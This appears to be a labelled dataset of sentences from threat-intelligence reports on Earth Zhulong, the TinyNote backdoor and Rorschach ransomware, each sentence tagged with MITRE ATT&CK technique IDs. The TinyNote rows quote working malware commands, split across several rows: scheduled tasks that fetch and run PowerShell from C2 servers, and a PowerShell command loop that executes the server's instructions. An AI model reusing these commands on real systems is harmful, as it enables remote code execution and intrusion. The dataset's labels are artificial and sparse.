{"sentence": "It would read the encrypted payload (“nkford.nlp” is the payload in this case) then decrypt it and run it in the memory.", "labels": ["T1027", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The shellcode loader used XOR with a 26 byte keyset and started a long sleep after finishing shellcode execution. Figure 10.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Main function of earliest variants Loader in 2021 (Variant 2) Compared to the variant in 2020, there was no big change in 2021.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 11.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Main function of variant in 2021 Loader in the latest campaign (2022, variant 3) Compared to previous variants, changes were seen in the code structure in variant 3.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this variant, more anti-analysis techniques were added to strengthen their loader, including API hashing and execution flow obfuscation through exception mechanism.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Threat actors intentionally raise exceptions to interrupt malware analysts and obfuscate the execution flow of the program.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The payload will be decrypted with RC4 algorithm, and the final payload is an HTTPs Cobalt Strike beacon.", "labels": ["T1071.001", "T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "A loop of intentional exception triggers to obfuscate control flow of program.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Necessary APIs will be dynamically resolved during execution.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Hacking Tools Besides the shellcode loader and Cobalt Strike, we also observed additional tools, including port scanner, proxy and information stealer deployed to the compromised hosts.", "labels": ["T1090"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It’s worth noting that they use various programming platforms including C language, Go-Lang and Python.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this section, we will mention some noteworthy hacking tools used in their operation.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "MACAMAX Although threat actors already installed the Cobalt Strike as backdoor, we also found out that they deployed another Go-Lang backdoor, which we named MACAMAX in the meantime.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It supports proxy (Socks5), upload/download file and remote shell functions.", "labels": ["T1059.003", "T1090", "T1105"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Furthermore, the configuration file will be deleted once it is loaded into memory for fear of leaking network infrastructures.", "labels": ["T1070.004"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "cmd> {MACAMAX}.exe {network config file} Usage of MACAMAX -rh={remote host} -rp={remote port} -ps={proxy server} -sl=5", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Themida-packed EarthWorm During our investigation, we found they also use the notorious network-penetration tool, “EarthWorm”.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "EarthWorm is a simple network tunnel tool with SOCKS v5 server and port transfer developed by a Chinese engineer.", "labels": ["T1090"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In order to avoid being detected by security products, threat actors use Themida packer to obfuscate the signature used for detection.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "This information stealer is compiled with Python 3.10 and packed by noted tools, “PyInstaller”, used to convert python script to be a standalone executable.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "After checking the Python assembly code of the sample, we found this tool is used to dump information from the victim’s Oracle database.", "labels": ["T1005"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 14.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Embedded WinRAR command Figure 16.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Dropbox configuration and upload RAR data Footprint Hidden and Elimination Threat actors run PowerShell scripts with previous versions of PowerShell that do not support Script Block Logging with the intent to evade being detected while running the malicious scripts (so-called “Downgrade Attack”).", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "This is a common approach to make it harder for analysts to analyze their tools in the ransomware attack, but it’s relatively rare in an APT attack.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "These show that they are sophisticated and meticulous actors. Figure 17.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Attribution Summarizing the information collected from 2020 to 2022, we find that Earth Zhulong is likely to be related to a notorious hacking group, “1937CN” based on the code similarity and victimology aspects.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In this section, we will introduce the process of attribution.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Code similarity Although the earliest variant of ShellFang used in this campaign was observed in 2020, we found the malware was already compiled in 2017, based on the timestamp of an export function, which can be seen in Figure 19.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, we reviewed reports published around that time and found the decryption algorithm in ShellFang was once used in the campaign by 1937CN, which was revealed by Fortinet in 2017.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Shown in Figure 20, the XOR keyset and algorithm are highly similar.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Based on the prevalent time and algorithm, we believe Earth Zhulong is likely to be related to 1937CN.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Figure 19.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Timestamp of export function in the earliest variant Figure 20.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "The left is the algorithm revealed by Fortinet in 2017.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Victimology Based on our long-term investigation, Southeast Asia is Earth Zhulong’s major target, focusing on telecom and media sectors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In victimology aspects, Earth Zhulong is consistent with the 1937CN group.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Conclusion Through long-term monitoring, we found this campaign continued targeting Southeast Asia from 2020 to 2022.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In the past 2 years, they always have used DLL sideloading as their major technique to launch their malware.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "However, they continued updating their tools and even added more anti-analysis techniques in their latest tools including multi-layer obfuscation, API obfuscation, and execution flow obfuscation by raising exceptions intentionally.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We also found they compromise the domain controller in the victim’s environment and deployed Cobalt Strike on their hosts by creating immediate tasks through GPO.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In addition, Go-lang and Python are also used as programming languages to build their tools.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Both programming languages provide strength for cross-platform programs development.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Furthermore, Python and Go-lang executables usually compile all necessary libraries in a single binary, making malware classification more difficult for analysts and resulting in a large binary.", "labels": ["T1027"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Some security products have limitations when handling large files.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Which may be their approach as large binaries reduces the risk of being detected.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "In the process of tracking and analyzing the data, we have identified the hacker group behind the campaign which targets organizations in Southeast Asia, and called it Earth Zhulong.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "We hope our findings will remind the public that the actions and motivations of 1937CN continue to resurface through groups like Earth Zhulong, and that these groups remain a big threat to cybersecurity in Southeast Asia.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "While the threat remains focused on Southeast Asia, tactics like this can be applied to various places across the world.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "It is better to stay ahead of the curve to ensure your safety against these malicious actors.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Ensuring your systems are protected on all aspects is integral to the productivity of your enterprise.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Trend Micro Vision One can help you prevent threats like this with multiple security layers across all platforms, and its intuitive threat detection, investigation and response system makes it a key factor to stop Earth Zhulong’s evolving methods of infiltrating systems.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "MITRE Tactics Techniques Discovery T1087 - Account Discovery T1482 - Domain Trust Discovery Execution T1204.002 - User Execution: Malicious File Defense Evasion T1574.002 - Hijack Execution Flow: DLL Side-Loading T1055 - Process Injection T1070.006 - Timestomp T1140 - Deobfuscate/Decode Files or Information T1070 - Indicator Removal T1562.010 - Downgrade Attack Persistence T1053.005 - Scheduled", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Task Privilege Escalation T1484 - Domain Policy Modification T1078 - Valid Account Command and Control T1071.001 - Application Layer Protocol: Web Protocols T1090.001 - Internal Proxy T1090.002 - External Proxy Authors Ted Lee Threat Researcher", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"}
{"sentence": "Malware Spotlight:", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The threat actors responsible are tracked by Check Point Research as Camaro Dragon and are associated with a broad network of espionage operations aligned with Chinese interests.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Camaro Dragon overlaps with previously reported activities conducted by state-sponsored Chinese threat actors, namely Mustang Panda.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "A portion of the group’s attack toolset and underlying infrastructure was thoroughly described by fellow ESET researchers in their detailed technical paper on the MQsTTang backdoor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "In this report, we analyze another previously undisclosed backdoor associated with this cluster of activity which shares with it not only a common infrastructure but also the same high-level intelligence-gathering goal.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Key findings: A previously unknown Go-based backdoor called TinyNote was found on one of the Camaro Dragon distribution servers, in addition to being spotted in the wild.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The malware samples also communicate with other known C&C servers attributed to Camaro Dragon.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The backdoor performs a bypass of the Indonesian antivirus SmadAV, a security tool popular in Southeast Asian countries, such as Myanmar and Indonesia, and apparently used by a subset of the campaign targets.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "However, it focuses on redundancy to gain a foothold on the infected machine, including setting up multiple persistency tasks, communication with several different C&C servers, and different types of C&C command execution.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Introduction When we investigated a few delivery servers related to Camaro Dragon, we discovered that one of them exposed the threat actors’ tools and files located on the server, only protected by basic HTTP Authorization with a known password.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The backdoor we found on the server, and its versions found in the wild, are executables with names related to foreign affairs, such as PDF_ Contacts List Of Invitated Deplomatic Members and Note_Documents_No.14-Tokyo-__From___Embassy___of___Russia_.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Similar to MQsTTang, the TinyNote backdoor samples also contain folder icon in an attempt to deceive victims about their real purpose.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The custom backdoor is written in the Go programming language.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The actors’ heightened interest in Myanmar entities and successful attacks carried out against them were previously discussed thoroughly.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Our examination of the infrastructure led us to other findings that indicate the actors’ interest in Taiwan’s government entities as well.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Despite its simplicity, it employs an interesting method of bypassing a very specific antivirus solution, suggesting the actors had issues gaining a foothold in specific environments.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "SmadAV evasion At the beginning of its execution, the malware starts a function called bypassSMADAV, whose purpose is to bypass the Indonesian antivirus Smadav.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The developers of the antivirus position their solution as a “second-layer antivirus” with “active users mostly from Indonesia, and other users mostly come from Southeast Asia and Africa Countries”.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The existence of the code that handles this specific antivirus once again confirms the focused targeting of Camaro Dragon campaigns and their knowledge of their victims’ environments and solutions.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "It’s worth mentioning that in previous operations, the actors used SmadAV for their own purposes, forcing its component SmadAVprotect32.exe to side-load their malicious DLL.", "labels": ["T1574.002"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "When any new process starts in the system, SmadAV scans all available windows.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "For every problematic window found, the antivirus checks if the window is visible with the API function IsWindowVisible.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "If the window is visible, it adds this window owner’s process ID to an array containing all current processes that have at least one visible window: Figure 1 – SmadAV code that collects a list of PIDs that have associated windows.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "After iterating over all windows, the antivirus process iterates over this array and compares each process ID to the newly created process ID.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "If none is found, meaning the new process doesn’t have any visible windows, the antivirus deems the newly created process to be malicious and shows a popup that suggests blocking the created process.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "This flow might act as protection from the techniques like process hollowing where the process is created in suspend mode and then replaced with malicious code.", "labels": ["T1055"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "These attributes make sure the window is identified as visible by IsWindowVisible function, but in fact, it is not shown to the user and does not appear in the taskbar or when pressing ALT+TAB:", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Before a call to CreateWindowEx, you would usually first need to create a class by calling RegisterClass and then class CreateWindowEx.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "But in this case, the threat actors decided to use a default class name which allows them to skip calling the RegisterClass function prior to calling CreateWindow.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Ultimately, creating this window allows the threat actors to bypass the check, as the newly created window is technically visible, and continue the backdoor execution uninterrupted.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Figure 3 – SmadAV detection on the Go backdoor with the removed bypassSMADAV function.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "First mode: persistence, PowerShell backdoor, and malware “installation” The malware checks if there is a “zip” string in the file path.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "If this fails, the malware does not continue the execution, likely because the infected user only has low privileges.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Next, the malware creates 2 scheduled tasks called test and test2 to retrieve and execute PowerShell commands, each retrieved from robots.txt from different C&C servers, most likely to eliminate a single point of failure: schtasks /Create", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Net.WebRequest]::Create(\\\\\\\"http://5.188.33.190/Robots.txt\\\\\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\\\"\" /f schtasks /Create", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "/TN test2 /SC MINUTE /MO 45 /TR \"powershell \\\"$r=[System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Net.WebRequest]::Create(\\\\\\\"http://103.159.132.91/Robots.txt\\\\\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\\\"\" /f At the time of execution, both servers returned the same code pointing to the third server: C:\\Windows\\System32\\cmd.exe /c \"start powershell.exe -nop", "labels": ["T1059.003"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0); $url=\"http://103.159.132.91:8081/\"; $postParams = 'result=start'; while (1 -eq 1) { try { $data =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Text.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Encoding]::UTF8.GetBytes($postParams); $req =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "[System.Net.WebRequest]::Create($url); $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "ConnectionLimit =65535; If ($req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "CloseConnectionGroup(\"\") } $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Method = \"POST\"; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "ContentType = \"application/x-www-form-urlencoded\"; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "ContentLength = $data.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Length; $Stream = $req.GetRequestStream(); $Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Write($data, 0, $data.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Length);$Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Flush();$Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Close(); #waiting remote [System.Net.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "WebResponse] $resp = $req.GetResponse();$header=$resp.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "GetResponseHeader('CMD'); $d =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "[System.Convert]::FromBase64String($header); $Ds =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Encoding]::UTF8.GetString($d);$result = \"\"; Foreach ($string in invoke-expression $Ds){$result=$result+'_n1w_'+$string;}; $result =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($result)); $postParams = \"result=$result\"; } catch{}; };", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The malware then copies itself to the zip file with the name [16 random characters].zip in c:\\users\\public\\, and also creates another copy of itself to the path using the zip name as a folder, for example, c:\\users\\public\\pMiOxI3G44Igrpq7.zip\\. Both the file inside the zip and the unzipped copy of the file get the same randomly generated name [5 random characters].exe, for example, 8q3Fj.exe.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Finally, the malware creates a scheduled task to execute its copy from this randomized path: schtasks /Create", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "/TN 8NaZrCq3pGeDRXKF /SC MINUTE /MO 15 /TR \"explorer.exe c:\\users\\public\\8NaZrCq3pGeDRXKF.zip\\8NaZr.exe\" /f Second mode: the backdoor This mode happens after the malware has achieved persistence and is running from a “zip” path.", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The current system username The current username home folder The system’s network interfaces (name, MacAddress, description)", "labels": ["T1033", "T1082"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Next, it encrypts the string using a simple XOR encryption algorithm with the key NASA and Base64 encodes it afterward.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "It then picks one random C&C URL out of the three available and constructs a GET request: http://5.188.33.190/api.php http://103.169.90.132/api.php http://103.159.132.91/api.php", "labels": ["T1071.001"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The encoded enumeration data is stored in a cookie called SSN.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Other headers in the request are constructed from serval random values.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The hostname header is selected from the following list: www.google.com www.facebook.com www.gstatic.com twitter.com The user-agent is also randomized and is selected from the following list: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Gecko/20100101 Firefox/103.0 Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Gecko/20100101 Firefox/63.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Safari/537.36 The expected result from the server is a JSON with the following structure: {\"msg\":\"[BASE64-ENCODED COMMAND]\"} After the validation of the JSON and Base64 decoding, the malware creates a Goroutine that executes the command and continues to listen for more commands in a loop.", "labels": ["T1140"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "In addition to the fact that one of the backdoor versions was found on the Camaro Dragon distribution server, there are other strong connections between the actors and the TinyNote malware: The server 103.159.132[.]91, where one of the versions of the malware was first found behaves like the C&C server of the backdoor, and was also a delivery server for the MQsTTang backdoor during the same time period.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Another C&C server, 103.169.90[.]132, is known to be used by the threat actors continuously.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The victimology and lures are consistent with the latest Camaro Dragon campaigns, including the activity associated with the MQsTTang backdoor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "In addition, the actors also keep using a “folder” icon and a specific naming convention for some of their backdoors seen since early 2023.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The third C&C server, 5.188.33[.]190, has rather unique SSL certificates with Alternative names mail.mofa.gov.tw, intra.mofa.gov.tw, and *.mofa.gov.tw.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Another server with the same certificate, 23.106.123[.]59 is currently redirecting to the official infrastructure of the government of Taiwan, but likely was used for the additional attacks by the threat actor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Conclusion The TinyNote backdoor highlights the targeted approach of Camaro Dragon and the extensive research they conduct prior to infiltrating their intended victims’ systems.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Although the backdoor is not technically complex, it employs several noteworthy tactics to establish an initial foothold in the compromised systems.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "These include the utilization of Golang, a programming language rarely used in Camaro Dragon tools, minimal lightweight functionality, and embedded bypass of a specific antivirus software commonly installed on potential targets.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The simultaneous use of this backdoor together with other tools with different levels of technical advancement implies that the threat actors are actively seeking to diversify their attack arsenal.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "The post Malware Spotlight: Camaro Dragon’s TinyNote Backdoor appeared first on Check Point Research.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"}
{"sentence": "Research by: Jiri Vinopal, Dennis Yarizadeh and Gil Gekker Key Findings: Check Point Research (CPR) and Check Point Incident Response Team (CPIRT) encountered a previously unnamed ransomware strain, we dubbed Rorschach, deployed against a US-based company.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition, it does not bear any kind of branding which is a common practice among ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware is partly autonomous, carrying out tasks that are usually manually performed during enterprise-wide ransomware deployment, such as creating a domain group policy (GPO).", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In the past, similar functionality was linked to LockBit 2.0.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware is highly customizable and contains technically unique features, such as the use of direct syscalls, rarely observed in ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Moreover, due to different implementation methods, Rorschach is one of the fastest ransomware observed, by the speed of encryption.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware was deployed using DLL side-loading of a Cortex XDR Dump Service Tool, a signed commercial security product, a loading method which is not commonly used to load ransomware.", "labels": ["T1574.002"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The vulnerability was properly reported to Palo Alto Networks.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Introduction While responding to a ransomware case against a US-based company, the CPIRT recently came across a unique ransomware strain deployed using a signed component of a commercial security product.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Unlike other ransomware cases, the threat actor did not hide behind any alias and appears to have no affiliation to any of the known ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Throughout its analysis, the new ransomware exhibited unique features.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "A behavioral analysis of the new ransomware suggests it is partly autonomous, spreading itself automatically when executed on a Domain Controller (DC), while it clears the event logs of the affected machines.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware note sent out to the victim was formatted similarly to Yanluowang ransomware notes, although other variants dropped a note that more closely resembled DarkSide ransomware notes (causing some to mistakenly refer to it as DarkSide).", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
